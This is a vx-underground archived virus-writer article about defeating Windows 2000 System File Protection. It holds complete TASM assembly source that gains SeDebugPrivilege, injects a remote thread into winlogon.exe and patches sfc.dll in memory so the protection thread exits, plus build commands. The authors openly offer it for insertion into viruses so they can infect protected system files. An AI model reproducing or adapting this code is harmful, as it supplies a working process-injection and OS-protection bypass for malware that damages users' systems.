,, MMP""MM""YMM `7MM P' MM `7 MM MM MMpMMMb. .gP"Ya MM MM MM ,M' Yb MM MM MM 8M"""""" MM MM MM YM. , .JMML. .JMML JMML.`Mbmmd' `7MMF' `7MF' `7MMF' `7MMF' `MA ,V MM MM VM: ,V `7M' `MF' MM MM .gP"Ya ,6"Yb.`7M' `MF'.gP"Ya `7MMpMMMb. MM. M' `VA ,V' MMmmmmmmMM ,M' Yb 8) MM VA ,V ,M' Yb MM MM `MM A' XMX MM MM 8M"""""" ,pm9MM VA ,V 8M"""""" MM MM :MM; ,V' VA. MM MM YM. , 8M MM VVV YM. , MM MM VF .AM. .MA..JMML. .JMML.`Mbmmd' `Moo9^Yo. W `Mbmmd'.JMML JMML. ,, ,, ,, .g8"""bgd `7MM `7MM mm db .dP' `M MM MM MM dM' ` ,pW"Wq. MM MM .gP"Ya ,p6"bo mmMMmm `7MM ,pW"Wq.`7MMpMMMb. MM 6W' `Wb MM MM ,M' Yb 6M' OO MM MM 6W' `Wb MM MM MM. 8M M8 MM MM 8M"""""" 8M MM MM 8M M8 MM MM `Mb. ,'YA. ,A9 MM MM YM. , YM. , MM MM YA. ,A9 MM MM `"bmmmd' `Ybmd9'.JMML..JMML.`Mbmmd' YMbmd' `Mbmo.JMML.`Ybmd9'.JMML JMML. -- Contact -- https://twitter.com/vxunderground vxug@null.net

Well, how to start? In the past, there were many ideaz how to get rid off that new feature of Windows 2000 - The System File Protection. GriYo/29A was the first one who warned us and solved that problem very smartly. Using SfcIsFileProtected API that can tell us if the file is or is not protected by operating system. Viruses used this API and if file was protected, they simply did not infect it.

Next step? Disabling SFP. Someone, I can't remember who was it, found out that setting HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable to 0xFFFFFFFD disabled SFP in the next restart. In some version it worked, in some it didn't. Also, there was idea to overwrite sfp protected filez storage, but it worked only from different running OS. The question was still the same - how to get rid off that fucking SFP, right here, right now?

Well, we have to know our enemy if we want to defeat him. At the start, winlogon.exe (the process that handles logining, shutdown and such shitz, it can be called like main user-level process of the system) loadz sfc.dll library. Sfc.dll at its initialization process loadz sfcfilez.dll that containz list of all protected filez. Sfc.dll will get the list and storez it in its own buffer. Winlogon.exe then registerez the file notification object and every time the directory will change in some aspect (file erase, file rename etc...), it will pass the control to sfc.dll, that will check what file was changed and if it is protected by SFP. If so, it will try to repair that file.

Our idea was - patch the winlogon.exe, sfc.dll or sfcfiles.dll in the memory. But there was a small problem - how to write to service program, it's forbidden by system. After some disassembling and looking at MSDN we found out how to do it - adjust debugger access rightz to our process. After that we can do whatever will we want to do with ALL processes in the system, except the system itself. Well, that's what I call secure system, hehe.

The final step was to find out where and what exactly should we patch. will it be winlogon.exe? Or Sfc.dll? Or Sfcfiles.dll? After many hourz of researching we found it. In loaded library "sfc.dll" (in winlogon.exe process) there is a code:

                push    0
                push    1
                push    1
                push    dword ptr [ebx]
                push    dword ptr [ebx+4]
                call    NtWaitForMultipleObjects
----->          test    eax, eax                  <----- !!! PATCH HERE !!!
                jl      loc_76934195
                jz      loc_76934195
                cmp     eax, 102h
                jz      short loc_7693408B
                cmp     eax, [ebx+4]
                jnb     loc_76934195
 

If we will patch the code by ExitThread API call, the process of file checking will be aborted. Since this time, SFP will become DISABLED! Simple, eh? ;-)

Algorithm of this program

  1. Adjust higher priviledgez to our process, by legit API way.
  2. Find Winlogon.exe in memory.
  3. Alocate memory there, copy there a small "path" code and run it there.
  4. Quit.

In the winlogon.exe will be created new thread which will:

  1. Find the code written above.
  2. Patch the code by ExitThread(0) call. If the page is protected, unprotect it then.
  3. Quit.

It soundz very simply, but believe us, it 100%-ly worx! This very useful code can be easily inserted to any virus, into some init. procedure of the virus. Virus will be able to infect ALL system filez (except those already used ofcoz) and that IS very useful.

How to compile it?

tasm32 /ml /m9 /q sfp
tlink32 -Tpe -c -x -aa sfp,,,import32,sfp
pewrsec sfp.exe

We hope you will like our code. Enjoy it!

.386p
.model  flat

include win32api.inc
include useful.inc
include mz.inc
include pe.inc


@pushvar        macro   variable, empty                 ;macro for pushing
        local   next_instr                              ;variablez of any type
        ifnb <empty>
        %out too much arguments in macro '@pushvar'
        .err
        endif
        call next_instr
        variable
next_instr:
endm


invoke  macro   api                                     ;macro for API callz
        extrn   api:PROC                                ;declare API
        call    api                                     ;call it...
endm


@SEH_SetupFrame_UnProtect       macro
        local   set_new_eh
        local   exception_handler

        call    set_new_eh
        pushad

        mov     ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
        cmp     dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
        jne     exception_handler

        @pushvar        <dd     ?>
        mov     ebx,[ebx.ER_ExceptionInformation+4]
        push    PAGE_READWRITE
        and     ebx,0FFFFF000h
        push    2*4096
        push    ebx
        mov     eax,12345678h
virtual_protect_api = dword ptr $-4
        call    eax                                     ;unprotect 2 pagez

exception_handler:
        popad
        xor     eax,eax
        ret

set_new_eh:                                             ;set SEH frame
        xor     edx,edx
        push    dword ptr fs:[edx]
        mov     fs:[edx],esp
endm


.data                                                   ;some variablez
        token_priv      dd      1
        p_luid          dq      ?
                        dd      2
        procz           dd      80h dup (?)
                        dd      ?
        modz            dd      ?
        mod_name        db      MAX_PATH dup (?)
        p_token         dd      ?
        tmp             dd      ?

.code                                                   ;worm code starts
Start:  pushad
        @SEH_SetupFrame <jmp end_seh>                   ;setup SEH frame

        extrn   GetModuleHandleA:PROC
        mov     eax,dword ptr [GetModuleHandleA+2]
        mov     eax,[eax]
        mov     [gmha],eax                              ;store address of API

        extrn   VirtualProtect:PROC
        mov     eax,dword ptr [VirtualProtect+2]
        mov     eax,[eax]
        mov     [virtual_protect_api],eax               ;--- "" ---

        extrn   ExitThread:PROC
        mov     eax,dword ptr [ExitThread+2]
        mov     eax,[eax]
        mov     [exitthread_api],eax                    ;--- "" ---

        invoke  GetCurrentProcess
        push    offset p_token
        push    20h
        push    eax
        invoke  OpenProcessToken                        ;open token of our process
        dec     eax
        jne     err_ap

        push    offset p_luid
        @pushsz 'SeDebugPrivilege'
        push    eax
        invoke  LookupPrivilegeValueA                   ;find LUID for this priv.
        dec     eax
        jne     err_ap

        push    eax
        push    eax
        push    10h
        push    offset token_priv
        push    eax
        push    [p_token]
        invoke  AdjustTokenPrivileges                   ;adjust higher priviledges
                                                        ;for our process
        mov     esi,offset procz
        push    offset tmp
        push    80h
        push    esi
        invoke  EnumProcesses                           ;enumerate all running processes
        dec     eax
        jne     end_seh
        add     esi,4

p_search:
        lodsd                                           ;get PID
        test    eax,eax
        je      end_seh
        call    analyse_process
        jc      p_search

end_seh:@SEH_RemoveFrame                                ;remove SEH frame
        popad
        push    0
        invoke  ExitProcess                             ;and quit


analyse_process Proc
        pushad
        push    eax
        push    0
        push    43Ah
        invoke  OpenProcess                             ;PID -> handle
        test    eax,eax
        je      err_ap
        mov     [hProcess],eax
        push    eax

        push    eax
        mov     esi,offset modz
        push    offset tmp
        push    4
        push    esi
        push    eax
        invoke  EnumProcessModules                      ;get first (main) module
        pop     ecx
        dec     eax
        jne     err_ap1

        lodsd
        mov     edi,offset mod_name
        push    MAX_PATH
        push    edi
        push    eax
        push    ecx
        invoke  GetModuleBaseNameA                      ;get its name
        xchg    eax,ecx
        jecxz   err_ap1

        @pushsz 'winlogon.exe'
        pop     esi
        rep     cmpsb
        jne     err_ap1                                 ;quit if its not winlogon
       
        push    PAGE_READWRITE
        push    MEM_RESERVE or MEM_COMMIT
        push    end_rroutine-start_rroutine
        push    0
        push    12345678h
hProcess = dword ptr $-4
        invoke  VirtualAllocEx                          ;aloc there a memory
        test    eax,eax
        je      err_ap1
        xchg    eax,ebx

        push    0
        push    end_rroutine-start_rroutine
        push    offset start_rroutine
        push    ebx
        push    [hProcess]
        invoke  WriteProcessMemory                      ;write there our code
        dec     eax
        jne     free_mem

        xor     edx,edx
        push    edx
        push    edx
        push    edx
        push    ebx
        push    edx
        push    edx
        push    [hProcess]
        invoke  CreateRemoteThread                      ;run it
        push    eax
        invoke  CloseHandle

        invoke  CloseHandle
        popad
        clc
        ret
err_ap1:invoke  CloseHandle
err_ap: popad
        stc
        ret
free_mem:
        push    MEM_RELEASE
        push    0
        push    ebx
        push    [hProcess]
        invoke  VirtualFreeEx                           ;free memory
        jmp     err_ap1
analyse_process EndP


start_rroutine  Proc
        pushad

        @SEH_SetupFrame_UnProtect                       ;set SEH frame

        @pushsz 'sfc.dll'
        mov     eax,12345678h
gmha = dword ptr $-4
        call    eax                                     ;get sfc.dll address
        test    eax,eax
        je      end_rseh
        xchg    eax,esi

        mov     eax,[esi.MZ_lfanew]
        add     eax,esi
        movzx   edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
        lea     edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
        mov     ecx,[edx.SH_SizeOfRawData]              ;get size of section

        call    @s_str
@b_str: db      6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h  ;code to search & patch
@s_str: pop     edi
s_str:  pushad
        push    @s_str-@b_str
        pop     ecx
        rep     cmpsb                                   ;search for code
        popad
        je      got_addr
        inc     esi
        loop    s_str
        jmp     end_rseh

got_addr:
        call e_next

s_next: push 0                                          ;"patch" code
        mov eax, 12345678h
exitthread_api = dword ptr $-4
        call eax

e_next: pop edi
        xchg    esi,edi
        add     edi,15
        mov ecx,e_next-s_next
        rep movsb                                       ;patch sfc.dll code by our code

end_rseh:
        @SEH_RemoveFrame
        popad
        ret                                             ;and quit

end_rroutine:
start_rroutine  EndP

ends
End     Start